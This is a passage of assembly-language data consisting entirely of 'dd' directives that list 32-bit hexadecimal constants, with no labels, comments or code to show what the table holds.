dd 558990EDh, 0A894A70Bh, 0E80F1360h, 0F703B5Ch, 523F1591h
dd 0D1279534h, 5E5F13BEh, 3233A192h, 17DC30A9h, 981821C1h
dd 12675372h, 0BB69B63Ah, 0DC71962h, 0B1983B9h, 0A2BCC5Fh
dd 9E9EF34h, 117EBD3h, 85E5B2F3h, 0EB25200Eh, 29052334h
dd 0CCF47DBBh, 0C888AE4Bh, 9D110550h, 7AD7F9E2h, 83A49B9Dh
dd 34CC8571h, 0E5A370DCh, 58F54A0h, 0C3534AD5h, 0A3531D89h
dd 0DB6A1638h, 8E088090h, 0A34BC10Dh, 436E926Fh, 82D099B4h
dd 0E52B073Dh, 0FABEF185h, 4EDD208h, 166F98E3h, 0B024B407h
dd 0E30D66C3h, 0D5EB66F2h, 0AC5CB8BAh, 7676CB33h, 127C75BFh
dd 0D81DF3D9h, 0E5DF5ACAh, 7A0E8979h, 601319A8h, 9AAD5040h
dd 76C95D48h, 0B306856Dh, 0B564834h, 0A78E647Ch, 0F4017D60h
dd 0D8189FD1h, 42C1B55Fh, 9BB9B57Dh, 94B0468h, 0F483CC95h
dd 73F70930h, 0D124AD83h, 0D6676AC4h, 9653558Eh, 0A9CDAB46h
dd 50F8B79Ch, 0C0AEBB36h, 4163E063h, 0CE2CD40Dh, 7B5B626Eh
dd 0A7FCB3A1h, 5F24D039h, 0BF42C12Bh, 9DE1251Fh, 0DB80A601h
dd 0B1A9896Dh, 0DCCDBF08h, 899C4181h, 952CDAD3h, 0CD8B081Dh
dd 0E45B0BCBh, 166B70F6h, 0E0BE27CFh, 0C34FF46Fh, 0A125AD82h
dd 0AE67CC8h, 5CF99CEDh, 9E62BF8Bh, 81C2A365h, 0A2B6881Fh
dd 18EE4CADh, 6A84747Dh, 0CDCE5456h, 0F5B3819Fh, 3E098637h
dd 0F91E219h, 75EFCC11h, 0A21F9C02h, 0AA9314F9h, 9F0EC6F9h
dd 614A3036h, 0C01328D9h, 0FAC236DDh, 0EBB0C09Ch, 0E986C539h
dd 5ADA09Bh, 3F20E6DAh, 702BD9DEh, 0CA79ED1Ch, 92D3D41Bh
dd 68A7C586h, 73D9183h, 0B2D4DEB2h, 505AC239h, 448C8A25h
dd 0BF6C2993h, 63F5E3CDh, 31595CDFh, 23519D10h, 0DEA3A001h
dd 12CBC2F0h, 7052C43Ah, 649AFB85h, 652D25AAh, 21FC054Eh
dd 64B5C9E2h, 0B6C28932h, 4488A6Bh, 1DEC00CAh, 0A0A683C8h
dd 0D4AF07A5h, 0E85CDAC6h, 0F0EA33CFh, 600EAF8h, 0F825FB82h
dd 5ECEBB7Ch, 5264ABE7h, 0B1A21DF0h, 5AD37331h, 0E44D91A0h
dd 1F789DAAh, 0A1472F2Dh, 0FDC2E3CAh, 7C934CACh, 0EDEBEB99h
dd 0F0BFC498h, 3B41AB78h, 717BD9C3h, 0CA605103h, 275593FCh
dd 0C06AE9FFh, 0F0076861h, 2C700527h, 345EB307h, 85AD4C87h
dd 3CB14D32h, 0DEB908C4h, 0ACDB680Ah, 6E4E3CE5h, 99C65A1Ch
dd 3772E2C4h, 81F73D08h, 0E005CD12h, 5F786024h, 44BCB847h
dd 5CBB569Ah, 6BA50FCh, 66AAE1F1h, 1FA3469h, 73EB8A8Bh
dd 0CC0E58C8h, 57749C8Fh, 0AD12918Dh, 4BCC7795h, 2086CD0Bh
dd 9A0CD4A1h, 2207378Ch, 74D9E51Fh, 0B031DA2Eh, 6706F3D9h
dd 231165D7h, 3FBED6ACh, 4FD9EB14h, 9734F603h, 1EAE50D3h
dd 723360EBh, 0C9B28D5h, 0CD988B20h, 2D577591h, 0F519AFB4h
dd 26ABA79Ah, 65E469A7h, 0A0EDD54h, 836D2F6Eh, 926F281Fh
dd 7CE0EA43h, 4629CCEAh, 3A233793h, 98A3C2F8h, 0FE87DBB8h
dd 765D24Dh, 96CBDCFFh, 602127B6h, 64948BB6h, 4C410695h
dd 98908DD1h, 17FB4BEBh, 3C03CA1Ch, 3A54823Fh, 85FFE981h
dd 575817C7h, 820DF878h, 0AD63B0D9h, 68E8EA50h, 0EBD95FB4h
dd 0EF92E527h, 868D4F0Eh, 0D2F74A17h, 0F41742F4h, 0D457683Bh
dd 97CF5820h, 461A765Ah
dd 13E66823h, 20947643h, 0D47E23F2h, 946F202Ah, 9D62728h
dd 43F8A399h, 46E4BCA6h, 7A879297h, 182CD042h, 0AB5974C0h
dd 4E5F7782h, 0A9FD28C9h, 45090CD6h, 0B639C6A3h, 0FE537C14h
dd 428D5931h, 8BFA3A06h, 95AEE8BEh, 52580A3Dh, 956A2042h
dd 8188FD9h, 0B0585A03h, 0F378CDA9h, 0BE6182Eh, 0A0D8F5FDh
dd 7879314Dh, 0EC7A62E7h, 9354EF40h, 0F5715E1Dh, 738CE1Dh
dd 3A97D03Dh, 0CC4E6FE4h, 4DF293E3h, 23B3BD9Fh, 34ABC88Eh
dd 8075D7C7h, 27217B41h, 27D7C105h, 8E08BA2Eh, 0B2E2B394h
dd 0B5FA7924h, 49E62F3h, 0B25E04C1h, 716781A9h, 0C0D9E14Eh
dd 0A36F74A1h, 7AB8734Bh, 0DAB01FC0h, 0CD1D28B4h, 0C0AD7808h
dd 0B63EC1E2h, 0C2C4915Fh, 8BA5EC40h, 0BC10A746h, 38C0824h
dd 16A73802h, 0E595988Ah, 0DF1331BAh, 0BA7C0B0Fh, 1E725197h
dd 106E3C8Dh, 0B8FE617Ah, 87B158FEh, 0FB34666Eh, 42E04F36h
dd 24AE77F3h, 0D81AC0D0h, 7B0F2209h, 4D211A43h, 99B3A018h
dd 0B8438A22h, 23FD4AD7h, 928C337Bh, 0AC2164D3h, 26272E95h
dd 0BBAD9697h, 844BB03Ch, 0BD4309Bh, 41F1990Fh, 77C72051h
dd 10D83FB9h, 9344D4CEh, 167FD32Fh, 8FC9F408h, 0E18C621Bh
dd 0F002AF60h, 40542396h, 5148CCE5h, 63E7DEE7h, 0E55E0CBh
dd 0A5DE7F4Bh, 730F4516h, 21C0FE7Bh, 6DC1868Dh, 1FB08318h
dd 0AB827E6Eh, 4F0AF06h, 894BFC8Fh, 3BC14A18h, 7AF19221h
dd 5320F20Eh, 21EC27F5h, 5E2C9031h, 0E9D22CBBh, 0E8BB431Fh
dd 55A3AB8Dh, 38FBEDB3h, 0B1F8C4C8h, 237B3868h, 0FDE5E68Bh
dd 35AFF821h, 9527545h, 0C11358E9h, 339CB44Dh, 2CCB9B59h
dd 155E717Bh, 27BE0C38h, 619C91Dh, 7C773FF4h, 8C818715h
dd 6F77CF14h, 0C24A60Bh, 1F1EBB47h, 9222CE08h, 8BF69429h
dd 0DEBB2E6Bh, 0AC243166h, 0A54D1F38h, 222236C6h, 3F6169C2h
dd 1BA9BD6Bh, 9611C4F8h, 544E2431h, 6CB9FCD2h, 125760DDh
dd 0EEA1C167h, 87D97165h, 97E3FA05h, 0DFBE254Ah, 0D9B07CC4h
dd 851CDBC9h, 5DDA33B0h, 0AE1576F5h, 5E85EB44h, 0EF232431h
dd 5A7D82C1h, 0D51B573Dh, 2485CC04h, 8B0BF3DBh, 646FAF02h
dd 0CBCF5E87h, 753CAADDh, 323F414Fh, 0E59885E5h, 26161D1Bh
dd 153B5F0Dh, 893330F0h, 183C7FFEh, 174A8F99h, 57344604h
dd 0D98C4D6Ch, 0CA279993h, 1A1F83EAh, 2AB2AB27h, 54149E21h
dd 69216E85h, 0C807E86Ch, 36E150C5h, 7017CADFh, 0D5CC690Ch
dd 0ED4E64FEh, 10DAD835h, 2DBF8B73h, 0D59445B9h, 0E507B580h
dd 98B88A2Bh, 0CD2D823h, 0AD30B7DAh, 4E9075AAh, 0F2646C2Eh
dd 0D7814D3Bh, 433B01FCh, 0E3CEAFB2h, 0BBAD375Fh, 0E890F086h
dd 6DBD4DDDh, 70A13173h, 0DD87BA30h, 0B7DCC0DAh, 29D763B5h
dd 245E8C97h, 90DD24F3h, 57D67E22h, 0A92472D5h, 0A50B479Dh
dd 0FF689D9Fh, 0C281E2Fh, 91A20544h, 54F1A1EDh, 0B4DA765Ch
dd 0B48E317Bh, 0E11E6330h, 0D14D97AEh, 3F23D7E5h, 0C592877h
dd 440D37A2h, 0B7155715h, 0CEC6E45Bh, 0B7B830F0h, 0E0249BCBh
dd 0B8B4E79Fh, 54370B1Eh, 0E50DAB91h, 595A9D09h, 0C1BEBE5Fh
dd 800417C9h, 9967C418h, 3F5E1648h, 4BCF6355h, 0AF1979E1h
dd 0B18E0CBFh, 8AC2FAACh, 9EA885D1h, 6FB1F57h, 48F4A3B0h
dd 58A66C90h, 1369759Eh, 9FDF40F5h, 7154C3B9h, 9DF602C1h
dd 29D1459Bh, 596BAEF5h, 82FB1D66h, 143CFEC3h, 0D8D166EFh
dd 0E15D478h, 7CC48F44h, 0BA38B0C2h, 0A51EB5D6h, 0FB9ACAB2h
dd 7771EF55h, 391FFF6Eh, 48C1FBE9h, 69D925C2h, 41495FF3h
dd 0E6DF65CCh, 4EFA1784h, 74F07BF7h, 1340BB2Fh, 0B90FCDABh
dd 78188174h, 35571682h, 8F067752h, 52E2A3BCh, 0B6B735AAh
dd 47C4B248h, 13D222A5h, 0E6519D08h, 4D8FC632h, 0D0365B33h
dd 7E44483Dh, 0EF1F717Ah, 4239F7DDh, 0AEFDB0F9h, 5CFEC0FAh
dd 0A29EA205h, 46A7CFB2h, 2ADBB304h, 4F8CEE75h, 8135FFE7h
dd 0B5B547B6h, 0C683F933h, 0B53D0458h, 76B8209Ah, 0AE337411h
dd 6233A77Bh, 3BDC9CD3h, 0CCEA5849h, 20DB83A2h, 0EA4956B5h
dd 0DDA31BCFh, 0B6778C47h, 2FE187AFh, 6F43B510h, 0A9E9711Dh
dd 8687E802h, 63D43207h, 0C9F0759Ah, 0B94AEC71h, 53C2534Fh
dd 98F9F5CAh, 4F6DB54Ch, 0FCE3BD76h, 48B652D9h, 15BE4136h
dd 0BE0E6C92h, 0BFDFAAD1h, 7A4B20B8h, 89B2BDACh, 556B2188h
dd 73B5C02Dh, 0F86FEEDFh, 332E5FB7h, 0E1D27705h, 5F379BF7h
dd 8ACF79C0h, 3121C9F3h, 657EA0A4h, 0BE09DF7Ah, 6BE5D7F0h
dd 784DF0AAh, 0FDBA97B8h, 8BC714ECh, 31BB8F54h, 6601B6F5h
dd 0AE0B53Eh, 7D712FAAh, 3696838Bh, 70D3E3C7h, 15988F60h
dd 42AC8560h, 0CBE1B5Bh, 0B8E5DC1Ch, 516D47EAh, 4F93F209h
dd 0EC610143h, 238933B8h, 95B68247h, 0CD824053h, 0C703A645h
dd 3F98B582h, 0C1BF8448h, 0EA5AF353h, 0FC4AE9CDh, 95329787h
dd 0AC874E83h, 9B10DA1h, 0C3331459h, 84ADF5FAh, 0BDF7718Fh
dd 0DF46E76h, 18431AB2h, 0DE7FE16Fh, 0C323FA69h, 72AF3F11h
dd 57434058h, 0FBE0C93Bh, 6396F465h, 1DAED97Fh, 76F2193Ch
dd 0D03AFFE9h, 6057DFCAh, 0E6567164h, 7F52C03h, 9475799Ah
dd 2A7F187Ah, 0A45FA7BEh, 784C2AAAh, 1113B9Ah, 6717C433h
dd 0C8D1FC01h, 0F704BEE7h, 0CBB29639h, 0E5585E78h, 8E560D8Ch
dd 1B8F2461h, 0CF5C754h, 0E7E6508h, 0A68316BBh, 680C2B73h
dd 90761A8Fh, 0A993EEBFh, 20CB1390h, 0CB19E8BCh, 19A37F74h
dd 0EF0D4990h, 5D21C230h, 0B59E0A5Fh, 6316BE75h, 0EFE670CFh
dd 8673F1D5h, 0E73DD849h, 381E44DCh, 0DAC30189h, 0C6B93DA2h
dd 0FBC4842Bh, 0E5EA120Fh, 609B2C29h, 0F5AA440Eh, 0EBB63DADh
dd 0E3B88B2Eh, 7B9F3728h, 2EDECAB5h, 4F0A3772h, 49197083h
dd 0B1F82772h, 4310FC6Eh, 44B5BF26h, 8829C6EAh, 0A683D17Dh
dd 17834820h, 0C14AB553h, 0E726F183h, 2BC2D7F4h, 2DDD4C45h
dd 691826FBh, 0E61AEFFCh, 80D34903h, 7CB8D5FEh, 0E3F309C8h
dd 49D3CB9Eh, 87F6A61Ah, 2BFF346Bh, 3F04C75Fh, 46DF83EFh
dd 66C3BEDCh, 0E1F16720h, 0A54699CDh, 6B496DC0h, 91297BE5h
dd 56BB4712h, 0FAB1E8CEh, 0CFE22061h, 14C71894h, 63DF70DFh
dd 3C91A84Fh, 0B299D311h, 1E7CA357h, 562052D6h, 0E8A77DD0h
dd 9BE8150Dh, 0DE348D64h, 0B1B6789Ch, 36D1B217h, 9E46DF9Bh
dd 8D32772Ch, 49D8C69Ch, 89BD6AD0h, 0AA6AF4DBh, 0ABB15965h
dd 0E336E21h, 9188AD70h, 6642DC89h, 0C80A37D9h, 632A7F27h
dd 6CEF58C7h, 0AC3C1815h, 2A75AA27h, 0EB353BB7h, 1EE305BCh
dd 888538B2h, 0A9BE7FB1h, 83DAD108h, 7B09D18Eh, 8C511D50h
dd 0F856C767h, 1C1EF5E4h, 7AF6E518h, 79C4667Fh, 125F9C1Dh
dd 3CDBE942h, 825E0BB0h, 2C132CDDh, 21FB9A6Bh, 7A353CB3h
dd 7DEE4943h, 7E5FE90Eh, 0F36C7759h, 0F88D25E3h, 11FAFEEh
dd 174C5E9Dh, 760A05D5h, 0BC5380FAh, 5E1E34A0h, 57DE84DDh
dd 0F050BC8Dh, 6E681437h, 57D6AD9Ch, 1836FE7Bh, 7B004112h
dd 0D2CF1FF0h, 6B51BD34h, 308A2E7Dh, 0BD7B4C6Dh, 8E28AC43h
dd 0E10D671h, 9C550F02h, 981927F9h, 59BFE20h, 0F51DD465h
dd 95EABA34h, 71244D63h, 37D43BFAh, 0BD50E01Dh, 4977B545h
dd 0DC0F19EFh, 95183CCh, 0B54ACBF2h, 5319433Fh, 0ECF0F84Bh
dd 7929A383h, 0F2A778Fh, 7657D8CCh, 7DFCAF53h, 3278017Fh
dd 4A56A2E8h, 15DD85E9h, 0C142FE10h, 754CDF58h, 0B611D9EAh
dd 0DBB31B56h, 0D664F14Ah
dd 7D64FA06h, 6ACD29CAh, 92DEAA3Ah, 659E51Ch, 50569757h
dd 441D9530h, 31911DC4h, 9866B538h, 0D13BC055h, 5D5955F4h
dd 0B07BEA0Fh, 0BBF40E8Eh, 0E804D63Ah, 9613B886h, 0E0A37BCEh
dd 59F10A27h, 0A2ACC33Ah, 6CCE7387h, 6C883289h, 5F84E768h
dd 0E3D2C9C6h, 0F8E9F972h, 50205B23h, 497A6ABBh, 0B66CE43h
dd 59C17F74h, 0F1C2FA9Ah, 7771ADF6h, 81BCAA7Bh, 0F1AC0F69h
dd 41B7D4C5h, 0E533F219h, 3039152h, 80D28FE0h, 59E4AEAh
dd 864D0CB3h, 0CF33D310h, 62F36058h, 87918C8Ah, 0FDF5ADBh
dd 47DC35C3h, 0DF95477Bh, 44842F3h, 0B6C3DE1Ch, 0DD3198D7h
dd 8104B586h, 2B20EB48h, 0DC794A04h, 10B8ADEBh, 0E5BFB65Ah
dd 87B3A0A5h, 96957D3Bh, 0F7912270h, 3F325ADCh, 49255D90h
dd 5DCE9846h, 76F9A249h, 6633D021h, 0BF02A4A0h, 1D6B4E9Bh
dd 6FEFE698h, 34B71DF4h, 0F72DF913h, 335E0F83h, 0C4B8481Fh
dd 8A0ECC17h, 0A197E425h, 9D3E6B94h, 4C51540Ah, 901966D8h
dd 2ABB7916h, 1E011532h, 61C167E0h, 1FF60CFAh, 21DE4896h
dd 3EB034D0h, 75ED823Ch, 0E926351Fh, 0F016354Fh, 693E3C7Bh
dd 8567B9EFh, 0C40EA1CFh, 49951E5Bh, 0AFE500C1h, 0B8422A3h
dd 0FCE275C6h, 0F53006AAh, 0C6D8BF6Eh, 0EDB125F8h, 1B720C62h
dd 0C7156EC6h, 0E562B4DDh, 419BDD44h, 1677848h, 97BC3AD9h
dd 79C8C48Fh, 0B7E36C19h, 54A1F3A8h, 0CED7A2FAh, 5E165947h
dd 1D63BA83h, 0C50BE36Ch, 0ECE588A5h, 98523735h, 0BD466645h
dd 199720CFh, 0D2842120h, 6A08EBF2h, 0FE16BD5Eh, 0A9F4CB21h
dd 0D3B48BAh, 0BFE65986h, 93C4D2EDh, 3DD8221Ah, 0F42B0AD3h
dd 6654C08Dh, 0B2665B47h, 0BD139CF7h, 98374DBBh, 3A84086Eh
dd 5EE14A2Dh, 4EB1E8D9h, 0E6342E75h, 3B2E810Ch, 0A061024h
dd 552EB37h, 33F2751h, 0F2D33DE6h, 5525114Ch, 9DA4F4C5h
dd 9FC3812Ah, 74F233CFh, 5D0409E1h, 0D6A0CE2Dh, 0E4B08D41h
dd 47FC859Eh, 7CE32102h, 44DB204Bh, 6231288Fh, 0B470AA81h
dd 88FE9BEEh, 1C875532h, 0AC4BA6A7h, 0FBF6E065h, 148E46ABh
dd 12700953h, 0F66297Ch, 70EE559h, 9062C2A9h, 8BE02B04h
dd 7D2A8A9Fh, 0D25CAC28h, 4140E16Ah, 8BF94178h, 0B6C07413h
dd 2C21F977h, 0DDB49AE9h, 25FF4680h, 9216D2FFh, 9F79A2Bh
dd 0D1BFED6Dh, 57117E5h, 5C985EDDh, 0CB23589Ah, 9E84AA3Ah
dd 0A51F6CADh, 0A3FA0691h, 0E967EC47h, 0A71F8D3Ah, 0DE3E33D3h
dd 5DD3BF83h, 93EBF8D2h, 0A061EBC8h, 6BF31ADh, 0E3EC7CEh
dd 0B9AD14E6h, 7B4032Dh, 2B1DDCC2h, 901B2C59h, 66A1800Ah
dd 88A677E3h, 0F53FAD64h, 0E409C1Fh, 1D96B4BCh, 0CA75F93Dh
dd 40144CA5h, 876A619Fh, 0DA3EF6DDh, 4E3D729Ch, 36E54555h
dd 7F083F07h, 0C1B24F63h, 0F23E91C7h, 77FB90Ch, 0D0A739F8h
dd 5A14E3F6h, 6326B2ECh, 0E05E7816h, 0E9521CCBh, 2196CC2Bh
dd 18BB33A2h, 0E3A922CBh, 260FA9E7h, 3637AD30h, 799CCFACh
dd 2C24407Eh, 3DEE31E4h, 69F34A22h, 2114DA94h, 0CDC57FB6h
dd 3A96676Ch, 233C2088h, 4BDF85F7h, 75F61767h, 911E958Eh
dd 98BC57FFh, 43092066h, 6302FC8h, 2652BA40h, 0EFD04A10h
dd 44AB7607h, 6C31B808h, 28EB6CE5h, 0F0005B7Fh, 0C83408Ch
dd 41D26C2Fh, 408FA6B4h, 2BCCCD89h, 0DBF90237h, 0EF289Dh
dd 41D66249h, 0A1750741h, 4F0E1B36h, 75409CF8h, 0BC855AABh
dd 390D7366h, 9FBDF275h, 524504ADh, 374BE702h, 85D42E82h
dd 0DFAA3A2Ch, 22395858h, 0BF453619h, 39763F75h, 0D3586E74h
dd 0ED006C95h, 23C661C6h, 59B95B1Eh, 0DB15199h, 0E2427824h
dd 0D111D656h, 83D8F49Ah, 0D23DCB0Fh, 0BCA0E195h, 0D7097D8h
dd 0AF1A98F5h, 75D81921h, 0E3D0B84Ch, 0CC0B2CA8h, 0F587D26Ah
dd 6DBC6C2h, 0F68A0A6h, 3FE3FBDEh, 3A0B08B0h, 2F6752E1h
dd 48D14DD0h, 40F92796h, 5E816A8Ch, 0ADB05AF9h, 0CF170D2Eh
dd 14A2314Ah, 471600B3h, 0A7CF1AFBh, 5FB90418h, 0B61739C9h
dd 431C911Eh, 340B2BFBh, 3C400778h, 636E6FCEh, 0B596889Fh
dd 7AB42762h, 5948E264h, 127359B2h, 0EA46454Fh, 0DB19AFCEh
dd 0A3B3BDA4h, 7DB1E6A9h, 0E9F0C464h, 0AA7A483Dh, 0ACE22467h
dd 0DA95F1F8h, 8211D33Eh, 0F4E9B2A0h, 684B9662h, 4383C20Dh
dd 288851B5h, 0DC019D7Eh, 3758E55Fh, 0CBE59DB7h, 2479E256h
dd 0BBDEF467h, 487B18BFh, 72AE6050h, 29367060h, 783CD8DBh
dd 0F8D75DBEh, 0FD6ACFC3h, 1D7E9DFh, 0AABFAD1Ah, 4C9BC89Bh
dd 0F113F43Eh, 9F52B501h, 0D9513A0h, 2B38D871h, 0B526E816h
dd 7D9C01C2h, 62CA4A29h, 4BB9F8FDh, 517DB87h, 0C2510FD9h
dd 0A3415DE6h, 0C6FB5C54h, 0D707F061h, 0E965BA9Dh, 0BC6AC4E6h
dd 64B4195Ah, 6CE6618Dh, 0E1EBED16h, 814F901Dh, 0EE17FC7Fh
dd 82B8BA57h, 0AAD0D17Eh, 35205EC5h, 13FF7110h, 0BF008FDEh
dd 3D65B3A7h, 0A8ABB87Dh, 6D8BC81Ch, 0B91B700h, 6B685799h
dd 0E294094Eh, 1D4E7FCCh, 0C2E2AB37h, 50D54128h, 8BB55AEDh
dd 5C8501D4h, 7A38540Eh, 40B01285h, 3840A98Dh, 0A1E2583Fh
dd 3755ABAh, 0C502B5C7h, 2721657Ch, 9E8C7DB1h, 7B67542Fh
dd 11B7737Ch, 0AD5662C5h, 72D2AF43h, 9E477E86h, 56E0AFCCh
dd 0F9C1B265h, 9E28D19Ah, 0C4C91F9Bh, 21C84097h, 0A115CB93h
dd 7D113A7Eh, 0AF8EF73Ah, 4A6DD4FCh, 16C068D0h, 120249A7h
dd 6AF0F624h, 475E9CEAh, 0B5683041h, 0EFE261F9h, 25F0810Ah
dd 5550CA10h, 5DFB8564h, 0EFEA61A9h, 7224B97Eh, 46842680h
dd 276B8BF1h, 7F04069Ah, 9E556C23h, 0D952D5C7h, 7B7252AEh
dd 3072908Ch, 0F04152CCh, 81429647h, 3B391D21h, 7D64064Dh
dd 0B407B5FFh, 9C2035B1h, 12C7BBAEh, 8E4CD8D0h, 0BF13F29Dh
dd 66DD4F85h, 971250D6h, 1D00BB75h, 0CBD78008h, 0AFF3FD7Ah
dd 53563243h, 49CC2601h, 0F329F52h, 0A5C35C10h, 0BD19A981h
dd 0ADBF8D61h, 1D811B01h, 0A697042Dh, 7D5C4CC3h, 9338E4D0h
dd 6F49965Bh, 0E7B8A4ADh, 0C770B879h, 141AA7E0h, 63899608h
dd 3BE36E2Ch, 0BA0CFBDAh, 660C2A55h, 9C93719Fh, 357CA6E2h
dd 0EF804EC7h, 5E385F3Bh, 0CE8A22D0h, 81AC04D0h, 2BFFC081h
dd 1473C6D8h, 99A97885h, 25A6FC7Ah, 224E048h, 0E10D687Eh
dd 3211176Ch, 9A0F093Ch, 88ADCBD7h, 0E44F0D20h, 926C45DBh
dd 8535EB00h, 752AE477h, 4C99E1B8h, 7C9D58DAh, 593DBFC4h
dd 35C915A8h, 0D1DB6D10h, 0D49E7773h, 4118BABDh, 60A2ECAFh
dd 339ED0A3h, 6582A0DEh, 2A225968h, 9F6B18C1h, 0FA0AE3E2h
dd 0D73C5464h, 9B836B2h, 562EA881h, 0FBEFB7E3h, 64A394FDh
dd 7AF7842Eh, 0BE425843h, 0BC771285h, 9168AC7h, 0AA3471E8h
dd 0D6CF6BBFh, 0FF2BA7ACh, 0B776B313h, 55D96A27h, 0F41676ADh
dd 8F19F331h, 0EE332293h, 836E8FA5h, 0EB521B3Eh, 7546D23Eh
dd 134F6696h, 0A1015D84h, 0EFE0AD16h, 0F3866007h, 0D5F5EE00h
dd 47BC13A8h, 6CA7312Fh, 0C4DBE0A6h, 40D4AD5Ah, 9C061B17h
dd 4D540DB6h, 55F224C0h, 9C9C7ABFh, 419F7EA8h, 0A58F8EFDh
dd 1B1B1819h, 11DB9C73h, 0FFC34F4Ah, 0B52B8908h, 0B7DBA8D9h
dd 53A4DB0Ch, 55A42F0Fh, 0DE711475h, 57FA0159h, 4722EB26h
dd 0FCDB2ACFh, 0A91BE585h, 0C23DE4D2h, 7AB0EFA1h, 0FC26AEA6h
dd 0EA1C3529h, 0EFF311C7h, 0B821AB3h, 0D1ED8704h, 71CA84BCh
dd 37715725h, 0A91C9D72h, 1689207Bh, 2CD603A5h, 91EF1355h
dd 5BACF393h, 0ABAAD409h
dd 0B6AF5AB8h, 0CF1E8673h, 0BF46C76Dh, 33225090h, 633AFDF1h
dd 0B33AE51Dh, 0FE16F059h, 0DDEC6BC4h, 9436AC08h, 77BCA0A8h
dd 4FCAF328h, 15025AD0h, 521A0788h, 0BBBE7FBDh, 0D6DE718Ch
dd 5FBC1DFCh, 9AD61FBBh, 0E5D33567h, 0A3A8BA7Ah, 0EA48341Bh
dd 8F9CFA31h, 8914DD4Ah, 7FCAE939h, 0C6AFE181h, 10F0591Ah
dd 0CA211316h, 0A0FDD57Fh, 67592C2Fh, 81F4123Eh, 0DCB96AA6h
dd 0F2311180h, 806B816Fh, 17D42B9Ch, 3252D4D7h, 0A55F4654h
dd 519BABB0h, 919BDB53h, 44B54FEEh, 5C216E75h, 22BB9052h
dd 5692D2A7h, 256ED665h, 0D14E75C9h, 33DCF866h, 0D28FD049h
dd 384049B7h, 1984515Bh, 63BB412Dh, 7CC4F4B1h, 3199EFB4h
dd 878E120Fh, 0C325BFE4h, 7B8B9598h, 0A27ED92Ah, 765DB3B2h
dd 0A52BC856h, 80163740h, 5274AA52h, 0D543351Dh, 46D10EC0h
dd 0B630D2C9h, 43AE4E1h, 86E6C3F1h, 0E848835Ah, 3FFAB2D9h
dd 0DE5D0BE6h, 658F13C1h, 482E6EB6h, 0EAA4F399h, 3ED59795h
dd 81B9B481h, 0A85C016h, 2FBC79AFh, 61469206h, 0C819E180h
dd 0FC547E6Ch, 2D153DB6h, 68E55A8Dh, 0C9832718h, 4C3A70A6h
dd 0FFCE2891h, 116B7795h, 0FCDAE885h, 0FC5AF1ECh, 0C2B23764h
dd 0EB031DB8h, 69961723h, 0BD962D13h, 7AAD3F5Ch, 3A19449h
dd 344767Ch, 0C12321D1h, 5E4D2749h, 6673E09Dh, 0D0BD3C2h
dd 4C316428h, 6E640960h, 350D123Fh, 7B824EEEh, 2D17AA2h
dd 13A37335h, 9B71E838h, 4E1FA2E5h, 1040A7B7h, 6B0C6E9Bh
dd 4DBB0C62h, 51553736h, 0BABF9BDBh, 3CC7F42Dh, 12C337B9h
dd 0DA3AA1C4h, 514B3DACh, 97C79B34h, 0F2C3B124h, 2DE7624Bh
dd 490A3949h, 97C008DAh, 0D3274B64h, 4AB4650Eh, 0AFB909A5h
dd 81D5FFCFh, 0D61DD4E3h, 53B7CB0Ch, 0BFED720Dh, 8B462952h
dd 0B903494Ch, 21E953E1h, 8EAE2479h, 891687E3h, 4F03B845h
dd 0ABC83B5Eh, 0F94085FFh, 701C1F20h, 6ED992A9h, 3FA16C5Ch
dd 3BA1187h, 0E1124589h, 8DFEF47h, 0B5842FA0h, 558ADE09h
dd 0B1D1EC94h, 1D63221Ch, 0F2427230h, 1A3142FDh, 92EFB762h
dd 0DBF280F9h, 0B07A428Bh, 24D40A9Eh, 0E18F49B3h, 0DB05381Fh
dd 35AF89FCh, 62CCA1DAh, 2697FB76h, 0D1D0A377h, 301ECEBDh
dd 4B8E8A03h, 56CDB882h, 0AAEDD26Dh, 0CCBA1177h, 0C9E500BBh
dd 1BF4D568h, 49EDBEC6h, 0AAF8D24h, 0AA1EE507h, 588783E6h
dd 89E6DED7h, 956E0C7h, 9E696EEEh, 11A4D470h, 944B820Dh
dd 906C1658h, 0FE99B495h, 0C5137569h, 9E683BBBh, 0A1CE0A6Ch
dd 371AD3FDh, 0D74B5A74h, 7A369A6Dh, 2A4D03A1h, 0DA5AA3EEh
dd 0DA5FFF3Ch, 93A21798h, 69BF58Fh, 9001951h, 0F51AF843h
dd 753C326Eh, 24CFF742h, 2BE77F7h, 267874B4h, 781E5066h
dd 333502Dh, 0B10E63EFh, 0DD6064C1h, 46B13B60h, 0D00E8E9Eh
dd 0C09C199Dh, 0C0A5C9EAh, 0EDDF4866h, 25217EECh, 9F10D348h
dd 2B293928h, 26E6E4CFh, 0F4CABD4Bh, 64A7837Fh, 405C85A0h
dd 3DA6E749h, 0F0C720A7h, 6652E488h, 0D8BBFBADh, 0F7584719h
dd 67241F7h, 0CE6F6C2h, 0D2F75322h, 0FDCCA9FFh, 99F37AAEh
dd 5F2F527Dh, 0C193322Fh, 1CCB78F3h, 3679CC55h, 4455C15Dh
dd 0AA9A0227h, 0A69B9F10h, 0DE0BC4BEh, 0D1D94070h, 6274A9C2h
dd 303C158Ah, 6A2C11A2h, 2D7DC9F4h, 20B3EB81h, 0D32444Ch
dd 0E73D980Bh, 0C1C4FA9Ch, 1F54ED8Ah, 768FB96Ch, 12F67780h
dd 0DB692594h, 52C91B69h, 83D12B0h, 0F706CA79h, 58D744B1h
dd 42C65707h, 0F8AAF6E6h, 19E3ECAEh, 0D8C2939Bh, 0A0A20E65h
dd 2AD88C49h, 62326AFCh, 5499C65Ah, 37CF8E0h, 4DF3AB8Fh
dd 212EC037h, 8FFF2A0Fh, 4DA38166h, 0C72FC205h, 1114FCBAh
dd 8584F053h, 90EF0BC2h, 3E1BDCA3h, 7DE0F8Dh, 4A0EBAD4h
dd 0D57244A5h, 0F13470AEh, 376D43C4h, 53E8D8B6h, 0FD418F7Ch
dd 6F7487E0h, 774B81C3h, 44715F34h, 1A298228h, 0FE5E0F5Ah
dd 0FFEE650Fh, 249DAB52h, 0E3D96DB5h, 4B57CFC9h, 0D1C3F769h
dd 0E4B94CE2h, 0F10DDC40h, 28EE3C55h, 0DC3C6E4Eh, 0F3C5CD85h
dd 0FC094EECh, 0B95BAD4Eh, 553231E7h, 0D7B6473Bh, 49007954h
dd 97DA8EA3h, 340B7B6h, 0E0302DE3h, 0DEA50D7Eh, 38AFD78Dh
dd 6173D26Dh, 0D10A4A3h, 0EEC0364Eh, 4CAD2104h, 6C4FAEF5h
dd 0CDE93198h, 0A7E531CFh, 2BB8A7CCh, 152F10C1h, 613ECE4Bh
